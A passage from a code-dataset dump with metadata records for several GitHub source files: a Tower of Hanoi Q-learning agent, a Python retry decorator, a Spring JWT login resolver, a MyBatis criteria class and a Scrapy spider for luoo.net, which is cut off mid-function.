agent = Agent(lr=0.85, gamma=0.95, n_actions=actions, n_states=states, eps_start=0.9, eps_end=0.1, eps_dec=0.999)\n\n scores = []\n win_pct_list = []\n n_games = 10\n\n for i in range(n_games):\n done = False\n observation = env.reset()\n score = 0\n while not done:\n action = agent.choose_action(observation)\n print(action)\n observation_, reward, done, info = env.step(action)\n agent.learn(observation, action, reward, observation_)\n score += reward\n observation = observation_\n scores.append(score)\n if i % 100 == 0:\n win_pct = np.mean(scores[-100:])\n win_pct_list.append(win_pct)\n if i % 1000 == 0:\n print('episode ', i, 'win pct %.2f' % win_pct,\n 'epsilon %.2f' % agent.epsilon)\n plt.plot(win_pct_list)\n plt.show()\n" }, { "alpha_fraction": 0.5662021040916443, "alphanum_fraction": 0.5662021040916443, "avg_line_length": 32.79411697387695, "blob_id": "e46103754f86302dbbab35ccd017fe63bb0fc5ba", "content_id": "233429076b3f7b80bad728a6e7e7ec4e893a24de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1148, "license_type": "no_license", "max_line_length": 110, "num_lines": 34, "path": "/agent.py", "repo_name": "RoadLuck/hanoi-tower-RL", "src_encoding": "UTF-8", "text": "import numpy as np\n\nclass Agent():\n def __init__(self, lr, gamma, n_actions, n_states, eps_start, eps_end,\n eps_dec):\n \n self.lr = lr\n self.gamma = gamma\n self.n_actions = n_actions\n self.n_states = n_states\n self.epsilon = eps_start\n self.eps_min = eps_end\n self.eps_dec = eps_dec\n\n self.Q = np.zeros((self.n_states, self.n_actions), dtype=float)\n\n\n def choose_action(self, state):\n if np.random.random() < self.epsilon:\n action = np.random.choice([i for i in range(self.n_actions)])\n else:\n actions = np.array([self.Q[(state, a)] for a in range(self.n_actions)])\n print(actions)\n action = np.argmax(actions)\n return action\n\n def decrement_epsilon(self):\n self.epsilon = self.epsilon*self.eps_dec if self.epsilon>self.eps_min\\\n else self.eps_min\n\n def learn(self, state, action, reward, state_):\n #print(self.Q)\n self.Q[(state, action)] += self.lr*(reward+self.gamma*np.max(self.Q[state_,:])-self.Q[(state,action)])\n self.decrement_epsilon()" }, { "alpha_fraction": 0.8260869383811951, "alphanum_fraction": 0.8260869383811951, "avg_line_length": 45, "blob_id": "3cde2d6dcbbb6473d4a5560466e153c2a81384c0", "content_id": "d2c1186cbd5ab06c45770ca753639cc9a21b800e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 46, "license_type": "no_license", "max_line_length": 45, "num_lines": 1, "path": "/gym_hanoi/envs/__init__.py", "repo_name": "RoadLuck/hanoi-tower-RL", "src_encoding": "UTF-8", "text": "from gym_hanoi.envs.hanoi_env import HanoiEnv\n" } ]
5
monk-after-90s/SyncAsyncRetry
https://github.com/monk-after-90s/SyncAsyncRetry
3333c3ebd90361152cd045f166dd2c7eeb347ea8
9bee1efd786e5a231e82e71ce1c10b04effdbde7
5ed3c2ad88118d269617085c6ecadf4602d1c278
refs/heads/master
2022-11-23T20:12:08.962438
2020-07-17T02:07:42
2020-07-17T02:07:42
280,302,618
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7471264600753784, "alphanum_fraction": 0.7471264600753784, "avg_line_length": 28, "blob_id": "3a46e9584aa7d635f6e0d879b957a633efaa5ff4", "content_id": "15d6783dd1f24d93b9dc0411e9befb43d49afb3c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 87, "license_type": "permissive", "max_line_length": 49, "num_lines": 3, "path": "/SyncAsyncRetry/__init__.py", "repo_name": "monk-after-90s/SyncAsyncRetry", "src_encoding": "UTF-8", "text": "from .SyncAsyncRetry import create_interval_retry\n\n__all__ = ['create_interval_retry']\n" }, { "alpha_fraction": 0.8641975522041321, "alphanum_fraction": 0.8641975522041321, "avg_line_length": 40, "blob_id": "3f0eca98d58b8461a0027989182e5e58c7cdacec", "content_id": "0b4677a230240b45e7b9e0bf2e5faf3e6d8bf1eb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 81, "license_type": "permissive", "max_line_length": 64, "num_lines": 2, "path": "/README.md", "repo_name": "monk-after-90s/SyncAsyncRetry", "src_encoding": "UTF-8", "text": "# SyncAsyncRetry\nRetry decorator for both synchronous and asynchronous functions." }, { "alpha_fraction": 0.4031141996383667, "alphanum_fraction": 0.411188006401062, "avg_line_length": 24.880596160888672, "blob_id": "bba8db77e3bfcee1b87f46907ca3c8968736ac37", "content_id": "b844dd7a8f85f15fcd63d122eb17ebf380ca4985", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1754, "license_type": "permissive", "max_line_length": 104, "num_lines": 67, "path": "/SyncAsyncRetry/SyncAsyncRetry.py", "repo_name": "monk-after-90s/SyncAsyncRetry", "src_encoding": "UTF-8", "text": "import asyncio\n\nimport time\n\n\ndef create_interval_retry(init_interval_seconds=7, retry_times=5):\n def decorator(coro_func):\n if asyncio.iscoroutinefunction(coro_func):\n async def new_coro(*args, **kwargs):\n n = 1\n while n <= retry_times:\n try:\n task = asyncio.ensure_future(coro_func(*args, **kwargs))\n return await task\n except:\n if n >= retry_times:\n raise\n n += 1\n print('ๆŠฅ้”™')\n sleep_task = asyncio.ensure_future(asyncio.sleep(init_interval_seconds + n - 1))\n\n await sleep_task\n\n return new_coro\n else:\n def new_func(*args, **kwargs):\n n = 1\n while n <= retry_times:\n try:\n return coro_func(*args, **kwargs)\n except:\n if n >= retry_times:\n raise\n n += 1\n print('ๆŠฅ้”™')\n time.sleep(init_interval_seconds + n - 1)\n\n return new_func\n\n return decorator\n\n\nif __name__ == '__main__':\n import random\n\n\n # @create_interval_retry()\n # async def f():\n # c = random.choice([0, 1])\n # print(f'้€‰ๆ‹ฉไบ†{c}')\n #\n # if c == 0:\n # raise ValueError()\n #\n #\n # asyncio.get_event_loop().run_until_complete(f())\n\n @create_interval_retry()\n def f():\n c = random.choice([0, 1])\n print(f'้€‰ๆ‹ฉไบ†{c}')\n\n if c == 0:\n raise ValueError()\n\n\n f()\n" } ]
3
Tneciv/Poseidon
https://github.com/Tneciv/Poseidon
f7ba5070396cc2e36804307140176aaec8661f4e
4cbd7ee02d412b5d8a779218877d3fa58aaef452
c8dbfd84e14d6551841c452387a98d13f37ea575
refs/heads/master
2021-01-23T03:53:09.305156
2017-12-18T09:11:20
2017-12-18T09:11:20
86,129,675
0
0
MIT
2017-03-25T03:31:15
2017-05-11T15:16:19
2017-12-18T09:11:20
Java
[ { "alpha_fraction": 0.6951219439506531, "alphanum_fraction": 0.7002814412117004, "avg_line_length": 37.76363754272461, "blob_id": "22a33ebe03003db54208e63a7321ec930d184c90", "content_id": "0f7c3efd3c245c21d5a6d8edc8a5385ac70653e3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 2146, "license_type": "permissive", "max_line_length": 96, "num_lines": 55, "path": "/api-gateway/src/main/java/com/tneciv/poseidon/common/LoginUserResolver.java", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "package com.tneciv.poseidon.common;\n\nimport com.tneciv.poseidon.security.AccountCredentials;\nimport com.tneciv.poseidon.security.WebSecurityConfig;\nimport io.jsonwebtoken.Claims;\nimport io.jsonwebtoken.ExpiredJwtException;\nimport io.jsonwebtoken.Jwts;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.core.MethodParameter;\nimport org.springframework.web.bind.support.WebDataBinderFactory;\nimport org.springframework.web.context.request.NativeWebRequest;\nimport org.springframework.web.method.support.HandlerMethodArgumentResolver;\nimport org.springframework.web.method.support.ModelAndViewContainer;\n\n/**\n * Created by Tneciv on 2017/6/11.\n */\n@Slf4j\npublic class LoginUserResolver implements HandlerMethodArgumentResolver {\n\n @Override\n public boolean supportsParameter(MethodParameter parameter) {\n return parameter.hasParameterAnnotation(LoginUser.class);\n }\n\n @Override\n public Object resolveArgument(MethodParameter parameter,\n ModelAndViewContainer mavContainer,\n NativeWebRequest webRequest,\n WebDataBinderFactory binderFactory) throws Exception {\n return this.readArgs(webRequest);\n }\n\n private Object readArgs(NativeWebRequest webRequest) throws Exception {\n\n try {\n String authorization = webRequest.getHeader(WebSecurityConfig.HEADER_STRING);\n String token = authorization.substring(WebSecurityConfig.TOKEN_PREFIX.length() + 1);\n Claims claims = Jwts.parser().setSigningKey(WebSecurityConfig.SECRET)\n .parseClaimsJws(token).getBody();\n String username = claims.getSubject();\n AccountCredentials accountCredentials = new AccountCredentials();\n accountCredentials.setUsername(username);\n return accountCredentials;\n } catch (ExpiredJwtException e) {\n throw new Exception(\"Token ๅทฒ่ฟ‡ๆœŸ\");\n } catch (Exception e) {\n log.error(e.getMessage());\n e.printStackTrace();\n throw new Exception(\"Token ่งฃๆžๅคฑ่ดฅ\");\n }\n\n }\n\n}\n" }, { "alpha_fraction": 0.5679337978363037, "alphanum_fraction": 0.5723458528518677, "avg_line_length": 29.47538948059082, "blob_id": "3c083fe3c70922bfe288d6e6a553a8f5c6d9b304", "content_id": "2250730869d9fbffe4318194f0147c26d164c281", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 25385, "license_type": "permissive", "max_line_length": 102, "num_lines": 833, "path": "/luoo/src/main/java/com/tneciv/poseidon/entity/TrackExample.java", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "package com.tneciv.poseidon.entity;\n\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.List;\n\npublic class TrackExample {\n /**\n * This field was generated by MyBatis Generator.\n * This field corresponds to the database table track\n *\n * @mbg.generated\n */\n protected String orderByClause;\n\n /**\n * This field was generated by MyBatis Generator.\n * This field corresponds to the database table track\n *\n * @mbg.generated\n */\n protected boolean distinct;\n\n /**\n * This field was generated by MyBatis Generator.\n * This field corresponds to the database table track\n *\n * @mbg.generated\n */\n protected List<Criteria> oredCriteria;\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table track\n *\n * @mbg.generated\n */\n public TrackExample() {\n oredCriteria = new ArrayList<Criteria>();\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table track\n *\n * @mbg.generated\n */\n public void setOrderByClause(String orderByClause) {\n this.orderByClause = orderByClause;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table track\n *\n * @mbg.generated\n */\n public String getOrderByClause() {\n return orderByClause;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table track\n *\n * @mbg.generated\n */\n public void setDistinct(boolean distinct) {\n this.distinct = distinct;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table track\n *\n * @mbg.generated\n */\n public boolean isDistinct() {\n return distinct;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table track\n *\n * @mbg.generated\n */\n public List<Criteria> getOredCriteria() {\n return oredCriteria;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table track\n *\n * @mbg.generated\n */\n public void or(Criteria criteria) {\n oredCriteria.add(criteria);\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table track\n *\n * @mbg.generated\n */\n public Criteria or() {\n Criteria criteria = createCriteriaInternal();\n oredCriteria.add(criteria);\n return criteria;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table track\n *\n * @mbg.generated\n */\n public Criteria createCriteria() {\n Criteria criteria = createCriteriaInternal();\n if (oredCriteria.size() == 0) {\n oredCriteria.add(criteria);\n }\n return criteria;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table track\n *\n * @mbg.generated\n */\n protected Criteria createCriteriaInternal() {\n Criteria criteria = new Criteria();\n return criteria;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table track\n *\n * @mbg.generated\n */\n public void clear() {\n oredCriteria.clear();\n orderByClause = null;\n distinct = false;\n }\n\n /**\n * This class was generated by MyBatis Generator.\n * This class corresponds to the database table track\n *\n * @mbg.generated\n */\n protected abstract static class GeneratedCriteria {\n protected List<Criterion> criteria;\n\n protected GeneratedCriteria() {\n super();\n criteria = new ArrayList<Criterion>();\n }\n\n public boolean isValid() {\n return criteria.size() > 0;\n }\n\n public List<Criterion> getAllCriteria() {\n return criteria;\n }\n\n public List<Criterion> getCriteria() {\n return criteria;\n }\n\n protected void addCriterion(String condition) {\n if (condition == null) {\n throw new RuntimeException(\"Value for condition cannot be null\");\n }\n criteria.add(new Criterion(condition));\n }\n\n protected void addCriterion(String condition, Object value, String property) {\n if (value == null) {\n throw new RuntimeException(\"Value for \" + property + \" cannot be null\");\n }\n criteria.add(new Criterion(condition, value));\n }\n\n protected void addCriterion(String condition, Object value1, Object value2, String property) {\n if (value1 == null || value2 == null) {\n throw new RuntimeException(\"Between values for \" + property + \" cannot be null\");\n }\n criteria.add(new Criterion(condition, value1, value2));\n }\n\n public Criteria andIdIsNull() {\n addCriterion(\"id is null\");\n return (Criteria) this;\n }\n\n public Criteria andIdIsNotNull() {\n addCriterion(\"id is not null\");\n return (Criteria) this;\n }\n\n public Criteria andIdEqualTo(Integer value) {\n addCriterion(\"id =\", value, \"id\");\n return (Criteria) this;\n }\n\n public Criteria andIdNotEqualTo(Integer value) {\n addCriterion(\"id <>\", value, \"id\");\n return (Criteria) this;\n }\n\n public Criteria andIdGreaterThan(Integer value) {\n addCriterion(\"id >\", value, \"id\");\n return (Criteria) this;\n }\n\n public Criteria andIdGreaterThanOrEqualTo(Integer value) {\n addCriterion(\"id >=\", value, \"id\");\n return (Criteria) this;\n }\n\n public Criteria andIdLessThan(Integer value) {\n addCriterion(\"id <\", value, \"id\");\n return (Criteria) this;\n }\n\n public Criteria andIdLessThanOrEqualTo(Integer value) {\n addCriterion(\"id <=\", value, \"id\");\n return (Criteria) this;\n }\n\n public Criteria andIdIn(List<Integer> values) {\n addCriterion(\"id in\", values, \"id\");\n return (Criteria) this;\n }\n\n public Criteria andIdNotIn(List<Integer> values) {\n addCriterion(\"id not in\", values, \"id\");\n return (Criteria) this;\n }\n\n public Criteria andIdBetween(Integer value1, Integer value2) {\n addCriterion(\"id between\", value1, value2, \"id\");\n return (Criteria) this;\n }\n\n public Criteria andIdNotBetween(Integer value1, Integer value2) {\n addCriterion(\"id not between\", value1, value2, \"id\");\n return (Criteria) this;\n }\n\n public Criteria andTrackIdIsNull() {\n addCriterion(\"track_id is null\");\n return (Criteria) this;\n }\n\n public Criteria andTrackIdIsNotNull() {\n addCriterion(\"track_id is not null\");\n return (Criteria) this;\n }\n\n public Criteria andTrackIdEqualTo(Integer value) {\n addCriterion(\"track_id =\", value, \"trackId\");\n return (Criteria) this;\n }\n\n public Criteria andTrackIdNotEqualTo(Integer value) {\n addCriterion(\"track_id <>\", value, \"trackId\");\n return (Criteria) this;\n }\n\n public Criteria andTrackIdGreaterThan(Integer value) {\n addCriterion(\"track_id >\", value, \"trackId\");\n return (Criteria) this;\n }\n\n public Criteria andTrackIdGreaterThanOrEqualTo(Integer value) {\n addCriterion(\"track_id >=\", value, \"trackId\");\n return (Criteria) this;\n }\n\n public Criteria andTrackIdLessThan(Integer value) {\n addCriterion(\"track_id <\", value, \"trackId\");\n return (Criteria) this;\n }\n\n public Criteria andTrackIdLessThanOrEqualTo(Integer value) {\n addCriterion(\"track_id <=\", value, \"trackId\");\n return (Criteria) this;\n }\n\n public Criteria andTrackIdIn(List<Integer> values) {\n addCriterion(\"track_id in\", values, \"trackId\");\n return (Criteria) this;\n }\n\n public Criteria andTrackIdNotIn(List<Integer> values) {\n addCriterion(\"track_id not in\", values, \"trackId\");\n return (Criteria) this;\n }\n\n public Criteria andTrackIdBetween(Integer value1, Integer value2) {\n addCriterion(\"track_id between\", value1, value2, \"trackId\");\n return (Criteria) this;\n }\n\n public Criteria andTrackIdNotBetween(Integer value1, Integer value2) {\n addCriterion(\"track_id not between\", value1, value2, \"trackId\");\n return (Criteria) this;\n }\n\n public Criteria andNameIsNull() {\n addCriterion(\"name is null\");\n return (Criteria) this;\n }\n\n public Criteria andNameIsNotNull() {\n addCriterion(\"name is not null\");\n return (Criteria) this;\n }\n\n public Criteria andNameEqualTo(String value) {\n addCriterion(\"name =\", value, \"name\");\n return (Criteria) this;\n }\n\n public Criteria andNameNotEqualTo(String value) {\n addCriterion(\"name <>\", value, \"name\");\n return (Criteria) this;\n }\n\n public Criteria andNameGreaterThan(String value) {\n addCriterion(\"name >\", value, \"name\");\n return (Criteria) this;\n }\n\n public Criteria andNameGreaterThanOrEqualTo(String value) {\n addCriterion(\"name >=\", value, \"name\");\n return (Criteria) this;\n }\n\n public Criteria andNameLessThan(String value) {\n addCriterion(\"name <\", value, \"name\");\n return (Criteria) this;\n }\n\n public Criteria andNameLessThanOrEqualTo(String value) {\n addCriterion(\"name <=\", value, \"name\");\n return (Criteria) this;\n }\n\n public Criteria andNameLike(String value) {\n addCriterion(\"name like\", value, \"name\");\n return (Criteria) this;\n }\n\n public Criteria andNameNotLike(String value) {\n addCriterion(\"name not like\", value, \"name\");\n return (Criteria) this;\n }\n\n public Criteria andNameIn(List<String> values) {\n addCriterion(\"name in\", values, \"name\");\n return (Criteria) this;\n }\n\n public Criteria andNameNotIn(List<String> values) {\n addCriterion(\"name not in\", values, \"name\");\n return (Criteria) this;\n }\n\n public Criteria andNameBetween(String value1, String value2) {\n addCriterion(\"name between\", value1, value2, \"name\");\n return (Criteria) this;\n }\n\n public Criteria andNameNotBetween(String value1, String value2) {\n addCriterion(\"name not between\", value1, value2, \"name\");\n return (Criteria) this;\n }\n\n public Criteria andArtistIsNull() {\n addCriterion(\"artist is null\");\n return (Criteria) this;\n }\n\n public Criteria andArtistIsNotNull() {\n addCriterion(\"artist is not null\");\n return (Criteria) this;\n }\n\n public Criteria andArtistEqualTo(String value) {\n addCriterion(\"artist =\", value, \"artist\");\n return (Criteria) this;\n }\n\n public Criteria andArtistNotEqualTo(String value) {\n addCriterion(\"artist <>\", value, \"artist\");\n return (Criteria) this;\n }\n\n public Criteria andArtistGreaterThan(String value) {\n addCriterion(\"artist >\", value, \"artist\");\n return (Criteria) this;\n }\n\n public Criteria andArtistGreaterThanOrEqualTo(String value) {\n addCriterion(\"artist >=\", value, \"artist\");\n return (Criteria) this;\n }\n\n public Criteria andArtistLessThan(String value) {\n addCriterion(\"artist <\", value, \"artist\");\n return (Criteria) this;\n }\n\n public Criteria andArtistLessThanOrEqualTo(String value) {\n addCriterion(\"artist <=\", value, \"artist\");\n return (Criteria) this;\n }\n\n public Criteria andArtistLike(String value) {\n addCriterion(\"artist like\", value, \"artist\");\n return (Criteria) this;\n }\n\n public Criteria andArtistNotLike(String value) {\n addCriterion(\"artist not like\", value, \"artist\");\n return (Criteria) this;\n }\n\n public Criteria andArtistIn(List<String> values) {\n addCriterion(\"artist in\", values, \"artist\");\n return (Criteria) this;\n }\n\n public Criteria andArtistNotIn(List<String> values) {\n addCriterion(\"artist not in\", values, \"artist\");\n return (Criteria) this;\n }\n\n public Criteria andArtistBetween(String value1, String value2) {\n addCriterion(\"artist between\", value1, value2, \"artist\");\n return (Criteria) this;\n }\n\n public Criteria andArtistNotBetween(String value1, String value2) {\n addCriterion(\"artist not between\", value1, value2, \"artist\");\n return (Criteria) this;\n }\n\n public Criteria andCoverImgIsNull() {\n addCriterion(\"cover_img is null\");\n return (Criteria) this;\n }\n\n public Criteria andCoverImgIsNotNull() {\n addCriterion(\"cover_img is not null\");\n return (Criteria) this;\n }\n\n public Criteria andCoverImgEqualTo(String value) {\n addCriterion(\"cover_img =\", value, \"coverImg\");\n return (Criteria) this;\n }\n\n public Criteria andCoverImgNotEqualTo(String value) {\n addCriterion(\"cover_img <>\", value, \"coverImg\");\n return (Criteria) this;\n }\n\n public Criteria andCoverImgGreaterThan(String value) {\n addCriterion(\"cover_img >\", value, \"coverImg\");\n return (Criteria) this;\n }\n\n public Criteria andCoverImgGreaterThanOrEqualTo(String value) {\n addCriterion(\"cover_img >=\", value, \"coverImg\");\n return (Criteria) this;\n }\n\n public Criteria andCoverImgLessThan(String value) {\n addCriterion(\"cover_img <\", value, \"coverImg\");\n return (Criteria) this;\n }\n\n public Criteria andCoverImgLessThanOrEqualTo(String value) {\n addCriterion(\"cover_img <=\", value, \"coverImg\");\n return (Criteria) this;\n }\n\n public Criteria andCoverImgLike(String value) {\n addCriterion(\"cover_img like\", value, \"coverImg\");\n return (Criteria) this;\n }\n\n public Criteria andCoverImgNotLike(String value) {\n addCriterion(\"cover_img not like\", value, \"coverImg\");\n return (Criteria) this;\n }\n\n public Criteria andCoverImgIn(List<String> values) {\n addCriterion(\"cover_img in\", values, \"coverImg\");\n return (Criteria) this;\n }\n\n public Criteria andCoverImgNotIn(List<String> values) {\n addCriterion(\"cover_img not in\", values, \"coverImg\");\n return (Criteria) this;\n }\n\n public Criteria andCoverImgBetween(String value1, String value2) {\n addCriterion(\"cover_img between\", value1, value2, \"coverImg\");\n return (Criteria) this;\n }\n\n public Criteria andCoverImgNotBetween(String value1, String value2) {\n addCriterion(\"cover_img not between\", value1, value2, \"coverImg\");\n return (Criteria) this;\n }\n\n public Criteria andAlbumIsNull() {\n addCriterion(\"album is null\");\n return (Criteria) this;\n }\n\n public Criteria andAlbumIsNotNull() {\n addCriterion(\"album is not null\");\n return (Criteria) this;\n }\n\n public Criteria andAlbumEqualTo(String value) {\n addCriterion(\"album =\", value, \"album\");\n return (Criteria) this;\n }\n\n public Criteria andAlbumNotEqualTo(String value) {\n addCriterion(\"album <>\", value, \"album\");\n return (Criteria) this;\n }\n\n public Criteria andAlbumGreaterThan(String value) {\n addCriterion(\"album >\", value, \"album\");\n return (Criteria) this;\n }\n\n public Criteria andAlbumGreaterThanOrEqualTo(String value) {\n addCriterion(\"album >=\", value, \"album\");\n return (Criteria) this;\n }\n\n public Criteria andAlbumLessThan(String value) {\n addCriterion(\"album <\", value, \"album\");\n return (Criteria) this;\n }\n\n public Criteria andAlbumLessThanOrEqualTo(String value) {\n addCriterion(\"album <=\", value, \"album\");\n return (Criteria) this;\n }\n\n public Criteria andAlbumLike(String value) {\n addCriterion(\"album like\", value, \"album\");\n return (Criteria) this;\n }\n\n public Criteria andAlbumNotLike(String value) {\n addCriterion(\"album not like\", value, \"album\");\n return (Criteria) this;\n }\n\n public Criteria andAlbumIn(List<String> values) {\n addCriterion(\"album in\", values, \"album\");\n return (Criteria) this;\n }\n\n public Criteria andAlbumNotIn(List<String> values) {\n addCriterion(\"album not in\", values, \"album\");\n return (Criteria) this;\n }\n\n public Criteria andAlbumBetween(String value1, String value2) {\n addCriterion(\"album between\", value1, value2, \"album\");\n return (Criteria) this;\n }\n\n public Criteria andAlbumNotBetween(String value1, String value2) {\n addCriterion(\"album not between\", value1, value2, \"album\");\n return (Criteria) this;\n }\n\n public Criteria andMp3UrlIsNull() {\n addCriterion(\"mp3_url is null\");\n return (Criteria) this;\n }\n\n public Criteria andMp3UrlIsNotNull() {\n addCriterion(\"mp3_url is not null\");\n return (Criteria) this;\n }\n\n public Criteria andMp3UrlEqualTo(String value) {\n addCriterion(\"mp3_url =\", value, \"mp3Url\");\n return (Criteria) this;\n }\n\n public Criteria andMp3UrlNotEqualTo(String value) {\n addCriterion(\"mp3_url <>\", value, \"mp3Url\");\n return (Criteria) this;\n }\n\n public Criteria andMp3UrlGreaterThan(String value) {\n addCriterion(\"mp3_url >\", value, \"mp3Url\");\n return (Criteria) this;\n }\n\n public Criteria andMp3UrlGreaterThanOrEqualTo(String value) {\n addCriterion(\"mp3_url >=\", value, \"mp3Url\");\n return (Criteria) this;\n }\n\n public Criteria andMp3UrlLessThan(String value) {\n addCriterion(\"mp3_url <\", value, \"mp3Url\");\n return (Criteria) this;\n }\n\n public Criteria andMp3UrlLessThanOrEqualTo(String value) {\n addCriterion(\"mp3_url <=\", value, \"mp3Url\");\n return (Criteria) this;\n }\n\n public Criteria andMp3UrlLike(String value) {\n addCriterion(\"mp3_url like\", value, \"mp3Url\");\n return (Criteria) this;\n }\n\n public Criteria andMp3UrlNotLike(String value) {\n addCriterion(\"mp3_url not like\", value, \"mp3Url\");\n return (Criteria) this;\n }\n\n public Criteria andMp3UrlIn(List<String> values) {\n addCriterion(\"mp3_url in\", values, \"mp3Url\");\n return (Criteria) this;\n }\n\n public Criteria andMp3UrlNotIn(List<String> values) {\n addCriterion(\"mp3_url not in\", values, \"mp3Url\");\n return (Criteria) this;\n }\n\n public Criteria andMp3UrlBetween(String value1, String value2) {\n addCriterion(\"mp3_url between\", value1, value2, \"mp3Url\");\n return (Criteria) this;\n }\n\n public Criteria andMp3UrlNotBetween(String value1, String value2) {\n addCriterion(\"mp3_url not between\", value1, value2, \"mp3Url\");\n return (Criteria) this;\n }\n\n public Criteria andCreateTimeIsNull() {\n addCriterion(\"create_time is null\");\n return (Criteria) this;\n }\n\n public Criteria andCreateTimeIsNotNull() {\n addCriterion(\"create_time is not null\");\n return (Criteria) this;\n }\n\n public Criteria andCreateTimeEqualTo(Date value) {\n addCriterion(\"create_time =\", value, \"createTime\");\n return (Criteria) this;\n }\n\n public Criteria andCreateTimeNotEqualTo(Date value) {\n addCriterion(\"create_time <>\", value, \"createTime\");\n return (Criteria) this;\n }\n\n public Criteria andCreateTimeGreaterThan(Date value) {\n addCriterion(\"create_time >\", value, \"createTime\");\n return (Criteria) this;\n }\n\n public Criteria andCreateTimeGreaterThanOrEqualTo(Date value) {\n addCriterion(\"create_time >=\", value, \"createTime\");\n return (Criteria) this;\n }\n\n public Criteria andCreateTimeLessThan(Date value) {\n addCriterion(\"create_time <\", value, \"createTime\");\n return (Criteria) this;\n }\n\n public Criteria andCreateTimeLessThanOrEqualTo(Date value) {\n addCriterion(\"create_time <=\", value, \"createTime\");\n return (Criteria) this;\n }\n\n public Criteria andCreateTimeIn(List<Date> values) {\n addCriterion(\"create_time in\", values, \"createTime\");\n return (Criteria) this;\n }\n\n public Criteria andCreateTimeNotIn(List<Date> values) {\n addCriterion(\"create_time not in\", values, \"createTime\");\n return (Criteria) this;\n }\n\n public Criteria andCreateTimeBetween(Date value1, Date value2) {\n addCriterion(\"create_time between\", value1, value2, \"createTime\");\n return (Criteria) this;\n }\n\n public Criteria andCreateTimeNotBetween(Date value1, Date value2) {\n addCriterion(\"create_time not between\", value1, value2, \"createTime\");\n return (Criteria) this;\n }\n }\n\n /**\n * This class was generated by MyBatis Generator.\n * This class corresponds to the database table track\n *\n * @mbg.generated do_not_delete_during_merge\n */\n public static class Criteria extends GeneratedCriteria {\n\n protected Criteria() {\n super();\n }\n }\n\n /**\n * This class was generated by MyBatis Generator.\n * This class corresponds to the database table track\n *\n * @mbg.generated\n */\n public static class Criterion {\n private String condition;\n\n private Object value;\n\n private Object secondValue;\n\n private boolean noValue;\n\n private boolean singleValue;\n\n private boolean betweenValue;\n\n private boolean listValue;\n\n private String typeHandler;\n\n public String getCondition() {\n return condition;\n }\n\n public Object getValue() {\n return value;\n }\n\n public Object getSecondValue() {\n return secondValue;\n }\n\n public boolean isNoValue() {\n return noValue;\n }\n\n public boolean isSingleValue() {\n return singleValue;\n }\n\n public boolean isBetweenValue() {\n return betweenValue;\n }\n\n public boolean isListValue() {\n return listValue;\n }\n\n public String getTypeHandler() {\n return typeHandler;\n }\n\n protected Criterion(String condition) {\n super();\n this.condition = condition;\n this.typeHandler = null;\n this.noValue = true;\n }\n\n protected Criterion(String condition, Object value, String typeHandler) {\n super();\n this.condition = condition;\n this.value = value;\n this.typeHandler = typeHandler;\n if (value instanceof List<?>) {\n this.listValue = true;\n } else {\n this.singleValue = true;\n }\n }\n\n protected Criterion(String condition, Object value) {\n this(condition, value, null);\n }\n\n protected Criterion(String condition, Object value, Object secondValue, String typeHandler) {\n super();\n this.condition = condition;\n this.value = value;\n this.secondValue = secondValue;\n this.typeHandler = typeHandler;\n this.betweenValue = true;\n }\n\n protected Criterion(String condition, Object value, Object secondValue) {\n this(condition, value, secondValue, null);\n }\n }\n}" }, { "alpha_fraction": 0.5835240483283997, "alphanum_fraction": 0.589408278465271, "avg_line_length": 30.86458396911621, "blob_id": "e4f48e1e8864722a129fce9fea31b6497be9d014", "content_id": "cb97b931587ca2fb1ba252527e02300e55a65a0f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3283, "license_type": "permissive", "max_line_length": 91, "num_lines": 96, "path": "/crawler/crawler/spiders/luoospider.py", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# scrapy crawl luoo\nimport scrapy\nfrom bs4 import BeautifulSoup\n\nfrom crawler.luooItems import LuooItem\nfrom crawler.trackItems import TrackItem\n\n\nclass LuooCrawler(scrapy.Spider):\n name = 'luoo'\n htmlParser = 'html.parser'\n href = 'href'\n isDebug = True\n\n def start_requests(self):\n urls = ['http://www.luoo.net/music']\n for url in urls:\n yield scrapy.Request(url, self.parse)\n\n def parse(self, response):\n \n # ่ฏทๆฑ‚่ฟ”ๅ›ž็š„htmlๆบ็ ๏ผŒไปŽ้ฆ–้กตๅผ€ๅง‹๏ผŒ็„ถๅŽๅค„็†ๅˆ†้กต\n content = response.body\n if not content:\n self.log('parse body error.')\n return\n soup = BeautifulSoup(response.body, self.htmlParser)\n \n # ่Žทๅ–ๅฝ“ๅ‰้กต้ขๆ‰€ๆœ‰ๆœŸๅˆŠurl๏ผˆ่ฟ™ๆ—ถๅ€™ๅค„็†็š„่ฟ˜ๆ˜ฏ้ฆ–้กต http://www.luoo.net/music ็š„๏ผ‰\n journalUrlList = []\n for nextPageUrl in soup.select('.vol-list .item'):\n item = 